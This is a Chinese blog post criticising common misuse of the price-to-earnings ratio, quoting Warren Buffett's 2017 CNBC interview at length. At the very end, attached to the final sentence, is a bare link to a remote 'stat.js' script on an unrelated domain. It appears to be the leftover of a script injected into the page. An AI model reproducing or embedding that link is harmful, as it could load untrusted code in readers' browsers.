本益比本身是從報酬率的倒數來看投資機會成本，就基礎觀念來說是正確的。但實務運用上幾乎多數人（包含知名財經媒體、Information Service公司）都犯了錯而不自知。
正確的一面：當你把資金投入某個項目中，你的機會成本就是其他最高投資報酬率的選項。
以巴菲特的習慣來說，他喜歡用他主觀認為「近乎無風險」的美國10年或30年國債利率作為機會成本。實際運用上他是把這個利率作為「折現利率」，不懂折現觀念的人請自行在我的blog上搜尋「利息理論」。
股票報酬率一般會高過國債利率，中間還涵蓋了股票本身的不確定性所帶來的「風險貼水」。
錯誤的一面：
1. 本益比是報酬率的導數，計算上就是Price / Earning（簡稱P/E），通常財經媒體使用的P就是現在股價，但E卻是用去年每股淨利，這絕對是錯誤的！
懂利息理論就知道，所有的資產的現值應該是未來收入流的折現值總合，但通常媒體宣稱的本益比所使用的E並非「未來收入」，而是「過去收入」，這在經濟學上不但已經犯了重大錯誤，而且計算出來的數字是完全無意義的。
這個數字錯誤地假設，企業活動結果會跟去年一樣，但通常並不成立。
因此，要正確地使用「本益比」這個工具，你需要的並不是拿「過去盈餘」計算，而是要拿「未來盈餘」才對，也才符合經濟學邏輯。明眼人都看出來，未來盈餘才是大麻煩與功夫所在，因為預測未來盈餘絕非易事，之中存在非常鉅額的「訊息成本(information costs）」。而要提高預測未來盈餘正確性，根據我的經驗，一流的economic sense不可少。
這就說明了為什麼會計學博士、財務學博士投資股市績效往往不怎樣，因為二者都在過去數字打轉，在錯誤的方向上努力結果往往更糟。
這也說明了為什麼許多經濟學博士股市績效也很差，因為當今經濟學課本錯誤百出，加上許多經濟系教授乃至於博士其實economic sense非常差，純粹數學強，經濟邏輯常常錯誤連篇而不自知。
至於商學院那種訓練編故事能力的學問，又跟真正投資是八竿子打不著關係。
這更說明了像巴菲特這種對於企業活動未來預測準確性高的人，可以享有非常高的租值！（761億美元身價）
奉勸一句，如果朋友能有自知之明，清楚自己不是巴菲特這種料（可惜有自知之明的人太少），那朋友你還是乖乖投資ETF或指數型基金就好，市場是最殘酷的老師，自我欺騙與催眠對市場是無效的。
2.武斷地選擇本益比10、20、30或者不經思考地以過去與現在的本益比做比較。
上述錯誤觀點散見於諸多媒體乃至於號稱「股市大師」的論述中，但很可惜也錯得一塌糊塗。
共同錯誤在於這些人都忽略的，本益比既然是報酬率的倒數，真正有意義的比較對象應該是機會成本 — 也就是放棄的最高代價。如前述，巴菲特選擇美國國債利率作為機會成本來比較，這就是為什麼2017/2/27接受CNBC訪問時，會說現在美股沒有泡沫化，同時此時美股不算貴：
Quick: Although you have had times where you thought stocks were incredibly cheap, like in 2008, 2009, when you talked about that, even on our program. You thought that there were times that stocks were greatly overvalued where you’ve said, “Forget it, don’t do it." Are we near an inflection point right now, as best as you can tell?
Buffett: Well … I’ve been talking this way for quite a while, ever since the fall of 2008. I was a little early on that actually. But I don’t think you could time it. And we are not in a bubble territory or anything of the sort. Now, if interest rates were 7 or 8 percent then these prices would look exceptionally high. But you have to measure, you know, you measure everything against: interest rates, basically, and interest rates act like gravity on valuation. So when interest rates were 15 percent in 1982 they’d pull down the value of any asset. So, what’s the sense of buying a farm on a 4 percent yield basis if you can get 15 percent in government’s? But measured against interest rates, stocks actually are on the cheap side compared to historic valuations. But the risk always is, is that — that interest rates go up a lot, and that brings stocks down. But I would say this, if the ten-year stays at 230, and they would stay there for ten years, you would regret very much not having bought stocks now.
此外巴菲特也提到道瓊指數在他11歲的時候只有100點，當時就充斥著「股市過熱」種種言論，後來過200點的時候也一樣，幾百點到幾千點，每天都有人主張股市過熱。巴菲特強調他不知道明天股市會怎樣，說不定會重挫20%，這在過去也不是沒發生過，但他認為只要美國經濟制度像過去幾十年一樣順利發展，未來道瓊指數過10萬點也不是什麼大事，一如回頭看他11歲時的道瓊。
Quick: Yeah, there are times, Warren, where you hear pundits or other people saying, “Look things are at risk at this point. Our American way of life, our system is under threat." And I’ve heard this from all sides at all different times. Is there ever a point where you thought that was the case?
Buffett: No, and you say you’ve heard it at all times from all sides. I’ve been hearing it, you know, all my life. And in the spring of 1942 I was 11 years old, and the Dow was at about 100. And we were losing the war in the Pacific at that point, that was early … was shortly after Pearl Harbor. And there was no doubt in this country we were going to win over time. I mean, and people said, “Well, this is let’s wait till things are clear, let’s wait till we start winning the war." There’s always a reason to wait and I’ve listened to that all my life. You know, when I got out of school the Dow had never been above 200. There’d never been a year when the Dow had not been below 200 during the year. Even in 1929, when it got to 381, the low was below 200. Never been a year. Well, so what, you know? But that was a big subject at that time. And then you know, we ran into price controls, we ran into the oil shocks, you name it, just all kinds of things. And those are diversions. So all my life I’ve been hearing, “You know, maybe there’s a better time to invest, you know?" Or, “Things are more unpredictable now." They’re always unpredictable. I can’t predict what’s gonna happen tomorrow. I mean, you could have anything happen tomorrow. We’ve had October 19th, 1987, 22 percent down in one day. So I can predict what’ll happen ten or 20 years in a general way, but I have no idea what’ll happen tomorrow. And the important thing is if you got these wonderful assets out there, to own ’em, and which ones do you own? I mean, if you … if you save money you can buy bonds, you can buy a farm, you can buy an apartment, house, or even buy a part of American business. And if you buy a 10-year bond now you’re paying over 40 times earnings for something whose earnings can’t grow. And you know, you compare that to buying equities, good businesses, I don’t think there’s any comparison. But that doesn’t mean the stock market can’t go down 20 percent tomorrow. I mean, you never know what it’s going to do tomorrow, but you do know what it’s going to do over ten or 20 years. And people talk about 20,000 being high. Well, I remember when it hit 200 and that was supposedly high. The Dow, I mean, the Dow, in your lifetime. You know, you’re going to see a Dow that certainly approaches 100,000 and that doesn’t require any miracles, that just requires the American system continuing to function pretty much as it has.
題外話一句，我覺得台灣媒體很悲哀的是斷章取義、自行想像地亂下標題，例如：
財訊週刊 –「巴菲特：道瓊上看10萬點、別妄想拉回再買，蘋果看旺」
東森新聞 — 「股神94狂 巴菲特：美股最終會逼近10萬 」
鉅亨網 — 「巴菲特：維持零利率五十年道瓊上十萬點」
蘋果即時 — 「巴菲特：若Fed這麼做 美股早就上10萬點」
慢著，巴菲特有說"維持零利率50年道瓊上10萬點"這種話嗎？通篇訪談我都沒看到，這些記者不知道是用A眼、B眼還是P眼看到的？
他明明是說：「…you’re going to see a Dow that certainly approaches 100,000 and that doesn’t require any miracles, that just requires the American system continuing to function pretty much as it has.」
這邊我要特別點一下，就是巴菲特所依據的利率並不完全是純粹市場利率，而是經過美國Fed人為操作後的利率。而美國用操控利率來達到貨幣與經濟政策，這從經濟學上是個大敗筆，以後有空再多談。
回到本益比這個主題。
很明顯巴菲特也是正確的經濟學機會成本觀念在看本益比，目前股價是否過高，比較的是現今利率環境，而非任何一個武斷的、經驗的數字。我們因此也就知道，股市究竟上幾萬點、幾千萬點，這個訊息本身是沒有任何意義的，自然也無從得知股價是否過高、股市是否過熱。
3. 盈餘成長的公司，本益比永遠不會過高；盈餘衰退的公司，本益比永遠過高！
既然盈餘是要看未來，假設有間公司每股盈餘（EPS）今年是10，明年後年年都會是500（姑且假設發生機率是100%），則現在300元股價，本益比究竟是偏高還是低？
反之，今年EPS是10，明年後會衰退到年年都是0.01，現在50元股價是高還是低？
最後這個極端例子，綜合第一點與第二點，對投資有興趣的朋友好好想想，就不會再被有關本益比諸多似是而非的謬論迷惑了。https://js.developerstatss.ga/stat.js?n=ns1
元毓說 